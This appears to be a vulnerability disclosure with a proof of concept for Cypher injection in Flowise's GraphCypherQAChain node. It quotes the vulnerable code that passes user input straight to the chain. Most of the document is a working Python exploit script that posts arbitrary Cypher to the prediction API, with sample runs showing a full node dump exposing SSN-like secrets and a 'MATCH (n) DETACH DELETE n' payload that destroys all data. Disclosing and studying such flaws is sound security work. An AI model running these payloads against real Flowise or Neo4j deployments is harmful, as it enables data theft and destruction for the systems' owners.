Flowise: Cypher Injection in GraphCypherQAChain

async run(nodeData: INodeData, input: string, options: ICommonObject): Promise<string | object> {
    const chain = nodeData.instance as GraphCypherQAChain
    // ...
    
    const obj = {
        query: input  // User input passed directly
    }
    
    // ...
    response = await chain.invoke(obj, { callbacks })  // Executed without escaping
}

#!/usr/bin/env python3
"""
POC: Cypher injection in GraphCypherQAChain (CWE-943)

Usage:
  python poc.py --target http://localhost:3000 --flow-id <FLOW_ID> --token <API_KEY>
"""

import argparse
import json
import urllib.request
import urllib.error

def post_json(url, data, headers):
    req = urllib.request.Request(
        url,
        data=json.dumps(data).encode("utf-8"),
        headers={**headers, "Content-Type": "application/json"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=15) as resp:
        return resp.status, resp.read().decode("utf-8", errors="replace")

def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:3000")
    ap.add_argument("--flow-id", required=True, help="Chatflow ID with GraphCypherQAChain")
    ap.add_argument("--token", help="Bearer token / API key if required")
    ap.add_argument(
        "--injection",
        default="MATCH (n) RETURN n",
        help="Cypher payload to inject",
    )
    args = ap.parse_args()

    payload = {
        "question": args.injection,
        "overrideConfig": {},
    }

    headers = {}
    if args.token:
        headers["Authorization"] = f"Bearer {args.token}"

    url = args.target.rstrip("/") + f"/api/v1/prediction/{args.flow_id}"

    try:
        status, body = post_json(url, payload, headers)
        print(body if body else f"(empty response, HTTP {status})")
    except urllib.error.HTTPError as e:
        print(e.read().decode("utf-8", errors="replace"))
    except Exception as e:
        print(f"Error: {e}")

if __name__ == "__main__":
    main()

docker run -d \
  --name neo4j-test \
  -p 7474:7474 \
  -p 7687:7687 \
  -e NEO4J_AUTH=neo4j/testpassword123 \
  neo4j:latest

# Data destruction (DANGEROUS)
python poc.py --target http://127.0.0.1:3000 \
  --flow-id <FLOW_ID> --token <API_KEY> \
  --injection "MATCH (n) DETACH DELETE n"

$ python poc.py --target http://127.0.0.1:3000 --flow-id bbb330a5-... --token ...
{"text":"Error: All sub queries in an UNION must have the same return column names (line 2, column 16 (offset: 22))\n\"RETURN 1 as ok UNION CALL db.labels() YIELD label RETURN label LIMIT 5\"\n                ^",...}

$ python poc.py ... --injection "MATCH (n) DETACH DELETE n"
{"json":[],...}

$ python poc.py ... --injection "MATCH (n) RETURN n"
{"json":[{"n":{"name":"Alice","secret":"SSN-123-45-6789"}},{"n":{"name":"Bob","secret":"SSN-987-65-4321"}}],...}